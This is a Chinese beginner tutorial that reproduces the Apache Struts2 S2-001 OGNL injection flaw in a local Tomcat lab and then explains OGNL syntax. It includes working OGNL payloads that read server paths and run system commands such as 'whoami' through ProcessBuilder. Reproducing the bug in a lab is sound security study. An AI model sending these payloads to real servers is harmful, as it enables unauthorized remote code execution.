零基础java漏洞分析入门(一)

简介: 零基础java漏洞分析入门

前言


开始好好学Java,跟着师傅们的文章走一遍


Struts简介


Struts2是流行和成熟的基于MVC设计模式的Web应用程序框架。Struts2不只是Struts1下一个版本,它是一个完全重写的Struts架构。


工作流程:



漏洞复现


漏洞简介


漏洞详情:

https://cwiki.apache.org/confluence/display/WW/S2-001

由于OGNL表达式的递归执行,造成了命令执行


环境搭建


mac下直接brew install tomcat

catalina run启动tomcat

brew services start tomcat后台启动服务


Apache Tomcat/8.5.53

IntelliJ IDEA


e4e4f7dc1a4c0bb39485791b0cecfc6d_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


建好后从

http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip中下载struts2的jar包

项目所需文件都放在

https://github.com/twosmi1e/S2-001

导入项目所需的包File->Project Structure


017dbcaa9506b82c8dc397758c336f0a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


然后搭建环境,项目结构如图


13ab8bc7714743e70af59e02bafaf7c4_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


src下新建struts.xml


<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="S2-001" extends="struts-default">
<action name="login" class="com.demo.action.LoginAction">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>

修改web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">
<display-name>S2-001 Example</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>

index.jsp


<%--
Created by IntelliJ IDEA.
User: twosmi1e
Date: 2020/11/19
Time: 2:25 下午
To change this template use File | Settings | File Templates.
--%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>

welcome.jsp

<%--
Created by IntelliJ IDEA.
User: twosmi1e
Date: 2020/11/19
Time: 3:09 下午
To change this template use File | Settings | File Templates.
--%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>

在src下新建名为com.demo.action的package

LoginAction.java


package com.demo.action;
import com.opensymphony.xwork2.ActionSupport;
public class LoginAction extends ActionSupport {
private String username = null;
private String password = null;
public String getUsername() {
return this.username;
}
public String getPassword() {
return this.password;
}
public void setUsername(String username) {
this.username = username;
}
public void setPassword(String password) {
this.password = password;
}
public String execute() throws Exception {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin"))
&& (this.password.equals("admin"))) {
return "success";
}
return "error";
}
}

然后点击Build->Build Project配置好tomcat,homebrew安装的tomcat home:/usr/local/Cellar/tomcat/9.0.33/libexecrun起来会看到如下画面



漏洞利用


75523c69464c86f5be7ccf7752482caa_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


点击submit后 ognl表达式会解析执行 返回2


203897ae43bd1a4a6e585513e670695e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


获取tomcat路径



%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}


178f10dabd7d6e33a1519ee4698710ed_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


获取web路径



%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}



命令执行



%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}


2c8337345816434283de46e6f6d3213c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png



%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}



OGNL表达式


OGNL是Object Graphic Navigation Language(对象图导航语言)的缩写,它是一种功能强大的表达式语言,使用它可以存取对象的任意属性,调用对象的方法,使用OGNL表达式的主要作用是简化访问对象中的属性值,Struts 2的标签中使用的就是OGNL表达式。


OGNL三要素


  1. 表达式(expression):表达式是整个OGNL的核心,通过表达式来告诉OGNL需要执行什么操作;
  2. 根对象(root):root可以理解为OGNL的操作对象,OGNL可以对root进行取值或写值等操作,表达式规定了“做什么”,而根对象则规定了“对谁操作”。实际上根对象所在的环境就是 OGNL 的上下文对象环境;
  3. 上下文对象(context):context可以理解为对象运行的上下文环境,context以MAP的结构、利用键值对关系来描述对象中的属性以及值;


表达式功能操作清单


01基本对象树的访问


对象树的访问就是通过使用点号将对象的引用串联起来进行。

例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx


02对容器变量的访问


对容器变量的访问,通过#符号加上表达式进行。

例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx


03使用操作符号


OGNL表达式中能使用的操作符基本跟Java里的操作符一样,除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外,还能使用 mod, in, not in等。


04容器、数组、对象

OGNL支持对数组和ArrayList等容器的顺序访问:

例如:group.users[0]

同时,OGNL支持对Map的按键值查找:

例如:

#session['mySessionPropKey']

不仅如此,OGNL还支持容器的构造的表达式:

例如:{"green", "red", "blue"}构造一个List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map

你也可以通过任意类对象的构造函数进行对象新建

例如:

new Java.net.URL("xxxxxx/")


05对静态方法或变量的访问


要引用类的静态方法和字段,他们的表达方式是一样的

@class@member

或者

@class@method(args):


06方法调用


直接通过类似Java的方法调用方式进行,你甚至可以传递参数:

例如:

user.getName(),group.users.size(),group.containsUser(#requestUser)


07投影和选择

OGNL支持类似数据库中的投影(projection) 和选择(selection)。

投影就是选出集合中每个元素的相同属性组成新的集合,类似于关系数据库的字段操作。

投影操作语法为 collection.{XXX},其中XXX 是这个集合中每个元素的公共属性。


例如:

group.userList.{username}将获得某个group中的所有user的name的列表。

选择就是过滤满足selection 条件的集合元素,类似于关系数据库的纪录操作。

选择操作的语法为:

collection.{X YYY},其中X 是一个选择操作符,后面则是选择用的逻辑表达式。


而选择操作符有三种:


? 选择满足条件的所有元素


^ 选择满足条件的第一个元素


$ 选择满足条件的最后一个元素


例如:

group.userList.{? #txxx.xxx != null}将获得某个group中user的name不为空的user的列表。



表达式注入总结By mi1k7ea.

更详细的介绍:

https://www.cnblogs.com/renchunxiao/p/3423299.html


相关文章
|
8天前
|
监控 安全 Java
Java中的多线程编程:从入门到实践####
本文将深入浅出地探讨Java多线程编程的核心概念、应用场景及实践技巧。不同于传统的摘要形式,本文将以一个简短的代码示例作为开篇,直接展示多线程的魅力,随后再详细解析其背后的原理与实现方式,旨在帮助读者快速理解并掌握Java多线程编程的基本技能。 ```java // 简单的多线程示例:创建两个线程,分别打印不同的消息 public class SimpleMultithreading { public static void main(String[] args) { Thread thread1 = new Thread(() -> System.out.prin
|
13天前
|
Java 大数据 API
14天Java基础学习——第1天:Java入门和环境搭建
本文介绍了Java的基础知识,包括Java的简介、历史和应用领域。详细讲解了如何安装JDK并配置环境变量,以及如何使用IntelliJ IDEA创建和运行Java项目。通过示例代码“HelloWorld.java”,展示了从编写到运行的全过程。适合初学者快速入门Java编程。
|
20天前
|
存储 安全 Java
🌟Java零基础-反序列化:从入门到精通
【10月更文挑战第21天】本文收录于「滚雪球学Java」专栏,专业攻坚指数级提升,希望能够助你一臂之力,帮你早日登顶实现财富自由🚀;同时,欢迎大家关注&&收藏&&订阅!持续更新中,up!up!up!!
57 5
|
17天前
|
安全 Java 调度
Java中的多线程编程入门
【10月更文挑战第29天】在Java的世界中,多线程就像是一场精心编排的交响乐。每个线程都是乐团中的一个乐手,他们各自演奏着自己的部分,却又和谐地共同完成整场演出。本文将带你走进Java多线程的世界,让你从零基础到能够编写基本的多线程程序。
29 1
|
20天前
|
存储 Java 关系型数据库
在Java开发中,数据库连接是应用与数据交互的关键环节。本文通过案例分析,深入探讨Java连接池的原理与最佳实践
在Java开发中,数据库连接是应用与数据交互的关键环节。本文通过案例分析,深入探讨Java连接池的原理与最佳实践,包括连接创建、分配、复用和释放等操作,并通过电商应用实例展示了如何选择合适的连接池库(如HikariCP)和配置参数,实现高效、稳定的数据库连接管理。
37 2
|
21天前
|
Java 关系型数据库 数据库
面向对象设计原则在Java中的实现与案例分析
【10月更文挑战第25天】本文通过Java语言的具体实现和案例分析,详细介绍了面向对象设计的五大核心原则:单一职责原则、开闭原则、里氏替换原则、接口隔离原则和依赖倒置原则。这些原则帮助开发者构建更加灵活、可维护和可扩展的系统,不仅适用于Java,也适用于其他面向对象编程语言。
13 2
|
23天前
|
Java 数据处理 开发者
Java多线程编程的艺术:从入门到精通####
【10月更文挑战第21天】 本文将深入探讨Java多线程编程的核心概念,通过生动实例和实用技巧,引导读者从基础认知迈向高效并发编程的殿堂。我们将一起揭开线程管理的神秘面纱,掌握同步机制的精髓,并学习如何在实际项目中灵活运用这些知识,以提升应用性能与响应速度。 ####
43 3
|
25天前
|
Java
Java中的多线程编程:从入门到精通
本文将带你深入了解Java中的多线程编程。我们将从基础概念开始,逐步深入探讨线程的创建、启动、同步和通信等关键知识点。通过阅读本文,你将能够掌握Java多线程编程的基本技能,为进一步学习和应用打下坚实的基础。
|
安全 前端开发 Java
网站代码漏洞审计之JAVA架构
以前诸位看到过大牛的php代码审计,但是后来由于技术需要学了Java的代码审计,刚来时实战演练检测自个的技术成果,实际上代码审计我觉得不单单是取决于源代码方面的检测,包含你去构建布署下去和去黑盒测试方法作用点相匹配的源代码中去探索这一环节是最重要的,在代码审计中通常全部都是静下心去一步步的探索就可以峰回路转了!
182 0
网站代码漏洞审计之JAVA架构
|
11天前
|
安全 Java 测试技术
Java并行流陷阱:为什么指定线程池可能是个坏主意
本文探讨了Java并行流的使用陷阱,尤其是指定线程池的问题。文章分析了并行流的设计思想,指出了指定线程池的弊端,并提供了使用CompletableFuture等替代方案。同时,介绍了Parallel Collector库在处理阻塞任务时的优势和特点。